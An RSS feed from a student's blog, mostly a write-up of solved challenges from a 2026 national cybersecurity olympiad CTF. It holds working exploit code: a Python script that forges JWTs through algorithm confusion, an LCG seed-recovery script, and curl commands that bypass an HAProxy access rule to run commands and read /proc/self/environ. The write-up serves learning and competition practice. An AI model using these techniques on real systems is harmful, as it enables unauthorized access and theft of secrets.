<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Javier Lim</title><description>Home</description><link>https://caf01.com/</link><language>en</language><item><title>NCO 2026</title><link>https://caf01.com/posts/nco_26/</link><guid isPermaLink="true">https://caf01.com/posts/nco_26/</guid><description>Writeup for challenges I solved during NCO 2026</description><pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Cover: Team Raffles at NCO 2026&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;Overview&lt;/h1&gt;
&lt;p&gt;The National Cybersecurity Olympiad (NCO) is Singapore’s student cybersecurity pipeline, and I took part in its 2nd iteration this year. Participants have to go through qualifiers before taking part in the finals. Fortunately, I managed to land a spot to represent my school.&lt;/p&gt;
&lt;p&gt;The finals were very chaotic and intense. During the 5 hour CTF, the competition infrastructure went down a few times, and I ended up waiting around a cumulative 1 hour even after the 30 minute extension they gave. I tried to preserve momentum throughout, but there were points in time where I could not even access the internet due to problems with routing (participants were connected to NCO infrastructure via LAN).&lt;/p&gt;
&lt;p&gt;I managed to place 18th (out of 61 competitive plus 29 non-competitive players) and clinched a bronze medal. Though I am proud of this achievement, there are certainly improvements to be made. One more solve could have pushed me up to the silver cutoff, and I was extremely close to solving a web challenge. That being said, here are the writeups of challenges I managed to solve (and upsolve as of 5 hours after the competition).&lt;/p&gt;
&lt;h1&gt;Writeups&lt;/h1&gt;
&lt;h2&gt;Skyscraper Records - Shell&lt;/h2&gt;
&lt;p&gt;For this challenge, I was provided a &lt;code&gt;capture.pcap&lt;/code&gt; and &lt;code&gt;SSLKEYLOGFILE&lt;/code&gt;. In Wireshark, we just see a bunch of encrypted traffic. To decrypt, I set Wireshark’s TLS “(Pre)-Master-Secret log filename” field to the path of the provided key log file. Then, I followed the TLS stream of a TLS packet, which shows the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[AUTH] input password &amp;gt;
robotsweepsweepsweep

[ENSIOH] &amp;gt;
show_cmds

[?] cmds:
show_cmds - show this message
show_secret - show secret
[?] unrecognized command!
[ENSIOH] &amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I &lt;code&gt;nc&lt;/code&gt; into the challenge instance and ran &lt;code&gt;show_secret&lt;/code&gt;. Flag: &lt;code&gt;NCO26{dont_y0u_l0v3_th3_1nt3rn3t_0f_th1ngs}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;TryHackICO - Token&lt;/h2&gt;
&lt;p&gt;This challenge was about exploiting JWT algorithm confusion in a node.js app.&lt;/p&gt;
&lt;p&gt;Before exploiting anything, the backend in &lt;code&gt;app.js&lt;/code&gt; does:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Loads public key and private key from &lt;code&gt;private.pem&lt;/code&gt; and &lt;code&gt;public.pem&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Encodes and decodes JWTs with said keys&lt;/li&gt;
&lt;li&gt;Authenticates users on &lt;code&gt;/login&lt;/code&gt;, then stores a JWT in the &lt;code&gt;auth&lt;/code&gt; cookie&lt;/li&gt;
&lt;li&gt;Renders &lt;code&gt;/challenges&lt;/code&gt;, where the flag is shown only if the &lt;code&gt;admin&lt;/code&gt; field of a user&apos;s JWT evaluates to &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Serves &lt;code&gt;public.pem&lt;/code&gt; which is the public key generated at runtime.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Looking through the source code, I see that the &lt;code&gt;decodeToken&lt;/code&gt; function accepts multiple algorithms, both asymmetric (RS256) and symmetric (HS256), while using the public key for verification.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const decodeToken = (token) =&amp;gt; {
  try {
    return jwt.verify(token, PUBLIC_KEY, {
      algorithms: [&quot;HS256&quot;, &quot;RS256&quot;, &quot;ES256&quot;, &quot;PS256&quot;],
    });
  } catch (e) {
    return null;
  }
};

const encodeToken = (payload) =&amp;gt; {
  return jwt.sign(payload, PRIVATE_KEY, {
    algorithm: &quot;RS256&quot;,
    expiresIn: &quot;30m&quot;,
  });
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At the same time, we mentioned earlier that the app allows us to download &lt;code&gt;public.pem&lt;/code&gt;. To solve the challenge, we need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Forge a JWT with header &lt;code&gt;alg: HS256&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Set payload with &lt;code&gt;admin: true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Sign the JWT with &lt;code&gt;HMAC-SHA256&lt;/code&gt; using the public key as the secret&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I found a script online that does this for me &lt;a href=&quot;https://github.com/CircuitSoul/poc-cve-2016-10555/&quot;&gt;here&lt;/a&gt;, which I then modified to solve this challenge.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hmac
import hashlib
import base64

file = open(&apos;public_chal.pem&apos;)

key = file.read()

header = &apos;{&quot;alg&quot;:&quot;HS256&quot;}&apos;
payload = &apos;{&quot;user&quot;: &quot;c&quot;,&quot;admin&quot;: &quot;true&quot;, &quot;iat&quot;: 1774669491}&apos;

encodedHeaderBytes = base64.urlsafe_b64encode(header.encode(&quot;utf-8&quot;))
encodedHeader = str(encodedHeaderBytes, &quot;utf-8&quot;).rstrip(&quot;=&quot;)

encodedPayloadBytes = base64.urlsafe_b64encode(payload.encode(&quot;utf-8&quot;))
encodedPayload = str(encodedPayloadBytes, &quot;utf-8&quot;).rstrip(&quot;=&quot;)

token = (encodedHeader + &quot;.&quot; + encodedPayload)

sig = base64.urlsafe_b64encode(hmac.new(bytes(
    key, &quot;UTF-8&quot;), token.encode(&apos;utf-8&apos;), hashlib.sha256).digest()).decode(&apos;UTF-8&apos;).rstrip(&quot;=&quot;)

print(token + &apos;.&apos; + sig)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I used BurpSuite to intercept the request and chucked the forged JWT in, and got the flag: &lt;code&gt;NCO26{h0peful1y_ICO_w0nt_be_h4ck3d}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Base26 - Notes&lt;/h2&gt;
&lt;p&gt;Given &lt;code&gt;server.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import secrets


def lcg(a, b, p, x):
    while True:
        x = (a * x + b) % p
        yield x


p = 2**255-19
x, a, b = [secrets.randbelow(p) for _ in range(3)]
rng = lcg(a, b, p, x)

flag = os.environ.get(&apos;FLAG&apos;, &apos;NCO26{test_flag}&apos;)
notes = [{&apos;password&apos;: x, &apos;content&apos;: flag}]


banner = &apos;&apos;&apos;
              _                    ____   __
  _____ _____| |__   __ _ ___  ___|___ \ / /_  _____ _____
 |_____|_____| &apos;_ \ / _` / __|/ _ \ __) | &apos;_ \|_____|_____|
 |_____|_____| |_) | (_| \__ \  __// __/| (_) |_____|_____|
             |_.__/ \__,_|___/\___|_____|\___/

Welcome to base26 note-taking platform!&apos;&apos;&apos;

print(banner)
while True:
    print(&apos;&apos;&apos;Choose your option:
1. Take note
2. Read note
3. Exit&apos;&apos;&apos;)
    choice = int(input())
    match choice:
        case 1:
            content = input(&apos;Enter the note content: &apos;)
            password = next(rng)
            notes.append({&apos;password&apos;: password, &apos;content&apos;: content})
            print(&apos;Your note is at index&apos;, len(notes)-1)
            print(&apos;Your note password is:&apos;, password)
        case 2:
            idx = int(input(&apos;Enter the note index you wish to read: &apos;))
            password = int(input(&apos;Enter the note password: &apos;))
            if notes[idx][&apos;password&apos;] == password:
                print(notes[idx][&apos;content&apos;])
            else:
                print(&apos;Wrong password&apos;)
        case _:
            break
    print()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The service stores the real flag in note index 0, protected by an initial random password $x_0$. Everytime we create a new note, the app prints a new password generated by:&lt;/p&gt;
&lt;p&gt;$$
x_{n+1} = (a x_n + b) \bmod p,\quad p = 2^{255} - 19
$$&lt;/p&gt;
&lt;p&gt;We can solve the challenge as such:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create 3 notes and record three consecutive leaked passwords $x_1, x_2, x_3$.&lt;/li&gt;
&lt;li&gt;Recover $a$ and $b$ modulo $p$.&lt;/li&gt;
&lt;li&gt;Step backward to recover $x_0$.&lt;/li&gt;
&lt;li&gt;Read note index 0 with password $x_0$ to get the flag.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Using modular inverse:&lt;/p&gt;
&lt;p&gt;$$
a = (x_3 - x_2) \cdot (x_2 - x_1)^{-1} \bmod p
$$&lt;/p&gt;
&lt;p&gt;$$
b = x_2 - a x_1 \bmod p
$$&lt;/p&gt;
&lt;p&gt;$$
x_0 = a^{-1}(x_1 - b) \bmod p
$$&lt;/p&gt;
&lt;p&gt;A quick solve script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p = 2**255 - 19
x1 = 30267209648638985813840507149356768454406709530153367390620633261401017379273
x2 = 53514743647770242385919762444841024048392046623152485868763613190619868527573
x3 = 31580233559763508480766299475777807217558236949881795704856151694982711527411

def inv(v):
    return pow(v % p, p-2, p)

a = ((x3 - x2) * inv(x2 - x1)) % p
b = (x2 - a * x1) % p
x0 = (inv(a) * (x1 - b)) % p

print(x0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Leaguerant - Admin (Part 2)&lt;/h2&gt;
&lt;p&gt;This is part 2 of a challenge that uses the same source code. Solving part 2 also allows you to get the flag for part 1 (not sure if it was intended). Unfortunately, I did not solve this during the contest, but I came really close.&lt;/p&gt;
&lt;p&gt;Leaguerant is a stickman dueling game where players shoot at an opponent. It uses a backend built in Flask, proxied via HAProxy. The backend handles user stats and game mechanics via API calls - That&apos;s not really important.&lt;/p&gt;
&lt;p&gt;What stands out is the unfinished admin console at &lt;code&gt;/api/console&lt;/code&gt; intended to provide a shell to run server commands.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&quot;/api/console&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def console():
    if request.method == &apos;POST&apos;:
        cmd = request.get_json().get(&apos;command&apos;, &apos;&apos;)
        args = request.get_json().get(&quot;args&quot;, [])
        if cmd not in [&apos;ls&apos;, &apos;cat&apos;]:
            return jsonify({&quot;error&quot;: &quot;Command under construction&quot;}), 400
        res = subprocess.run([cmd] + args, capture_output=True, text=True)
        if res.stderr:
            return jsonify({&quot;error&quot;: res.stderr.strip()}), 400
        return jsonify({&quot;ok&quot;: True, &quot;result&quot;: res.stdout.strip()})
    return render_template(&apos;console.html&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, access to this path is blocked in &lt;code&gt;haxproxy.cfg&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;defaults
    mode http
    option forwardfor
    timeout client 30s
    timeout connect 5s
    timeout http-keep-alive 10s
    timeout http-request 30s
    timeout server 60s

backend web
    http-response add-header Via haproxy
    http-response add-header X-Served-By %[env(HOSTNAME)]
    http-reuse always
    server web0 ${SERVER_HOSTNAME}:${SERVER_PORT}

frontend http
    bind *:8080
    default_backend web
    timeout client 5s
    timeout http-request 10s

    # Block traffic to unfinished cheat console
    acl restricted_page path_beg,url_dec -i /api/console
    http-request deny if restricted_page
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exploit lies in how the config uses &lt;code&gt;path_beg&lt;/code&gt; which evaluates the prefix of the path after basic URL decoding. Flask and HAProxy normalise paths differently and so by simply appending an extra leading slash, we can bypass the Access Control List. (This is because Flask resolves, for example, &lt;code&gt;//api&lt;/code&gt; to &lt;code&gt;/api&lt;/code&gt;). We can get the console by requesting &lt;code&gt;//api/console&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;During the contest, I got to this point but couldn&apos;t run commands. Everytime I sent something with the console UI, it would return an error. I realised afterwards that this was due to how browsers interpret URIs beginning with &lt;code&gt;//&lt;/code&gt; as protocol relative network URLs meaning it tries to contact a domain/host named &lt;code&gt;api&lt;/code&gt; rather than maintaining the current host. This triggers a network-level fetch failure, which the code catches and outputs.&lt;/p&gt;
&lt;p&gt;Another way to bypass the ACL could be using &lt;code&gt;/%2fapi/console&lt;/code&gt;. However, even if I could access the console, this would not work too because of how the code was written. Let&apos;s take a look:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// frontend
async function runAdminCmd(cmd) {
  if (!cmd.trim()) return;
  const output = document.getElementById(&quot;adminOutput&quot;);
  const addLine = (text, cls) =&amp;gt; {
    const d = document.createElement(&quot;div&quot;);
    d.className = &quot;term-line &quot; + (cls || &quot;&quot;);
    d.textContent = text;
    output.appendChild(d);
    output.scrollTop = output.scrollHeight;
  };
  addLine(&quot;$ &quot; + cmd, &quot;input&quot;);
  try {
    const res = await fetch(&quot;/api/admin/command&quot;, {
      method: &quot;POST&quot;,
      headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
      body: JSON.stringify({ command: cmd }),
    });
    const data = await res.json();
    if (data.ok) {
      data.result.split(&quot;\n&quot;).forEach((line) =&amp;gt; {
        addLine(&quot;→ &quot; + line, &quot;success&quot;);
      });
    } else addLine(&quot;✗ &quot; + (data.error || &quot;Error&quot;), &quot;err&quot;);
  } catch (e) {
    addLine(&quot;✗ Network error&quot;, &quot;err&quot;);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# backend
@app.route(&quot;/api/console&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def console():
    if request.method == &apos;POST&apos;:
        cmd = request.get_json().get(&apos;command&apos;, &apos;&apos;)
        args = request.get_json().get(&quot;args&quot;, [])
        if cmd not in [&apos;ls&apos;, &apos;cat&apos;]:
            return jsonify({&quot;error&quot;: &quot;Command under construction&quot;}), 400
        res = subprocess.run([cmd] + args, capture_output=True, text=True)
        if res.stderr:
            return jsonify({&quot;error&quot;: res.stderr.strip()}), 400
        return jsonify({&quot;ok&quot;: True, &quot;result&quot;: res.stdout.strip()})
    return render_template(&apos;console.html&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When submitting a command, the frontend takes the &lt;code&gt;cmd&lt;/code&gt; and sends it in the &lt;code&gt;command&lt;/code&gt; field along with its args, instead of splitting it up into &lt;code&gt;command&lt;/code&gt; and &lt;code&gt;args&lt;/code&gt;. If I type say, &lt;code&gt;ls -lla&lt;/code&gt;, the body of the request would look like &lt;code&gt;{&quot;command&quot;: &quot;ls -lla&quot;}&lt;/code&gt;. This causes the backend to block the request as it checks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if cmd not in [&apos;ls&apos;, &apos;cat&apos;]:
    return jsonify({&quot;error&quot;: &quot;Command under construction&quot;}), 400
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, we can simply just use a curl command as such:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &apos;http://http://chal.nco.sg:13001//api/console&apos; -H &apos;Content-Type:application/json&apos; --data &apos;{&quot;command&quot;:&quot;cat&quot;,&quot;args&quot;:[&quot;LEAGUERANT_FLAG_2.txt&quot;]}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that we can just solve part 1 of the challenge with this exploit as well. Part 1&apos;s description mentioned that the flag was in an environment variable called &lt;code&gt;flag&lt;/code&gt;. We could just modify the curl request and get that flag too:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &apos;http://http://chal.nco.sg:13001//api/console&apos; -H &apos;Content-Type:application/json&apos; --data &apos;{&quot;command&quot;:&quot;cat&quot;,&quot;args&quot;:[&quot;/proc/self/environ&quot;]}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Thoughts&lt;/h1&gt;
&lt;p&gt;All in all, NCO 2026 was a fun experience for me, besides the hiccups on the infrastructure side. For someone relatively new to cyber, I did pretty well. Being so close yet so far to solving &lt;a href=&quot;#leaguerant---admin-part-2&quot;&gt;Leaguerant&lt;/a&gt; was a bummer though. I&apos;m looking forward to upcoming CTFs, and hopefully I&apos;ll get some writeups done for them too.&lt;/p&gt;
</content:encoded></item><item><title>Hello, World!</title><link>https://caf01.com/posts/hello_world/</link><guid isPermaLink="true">https://caf01.com/posts/hello_world/</guid><description>My first blog post</description><pubDate>Mon, 23 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Welcome to my website! Here, you can expect blog posts on web development, cybersecurity and life. This website also serves as my personal website/portfolio so you can find out more about me too.&lt;/p&gt;
</content:encoded></item></channel></rss>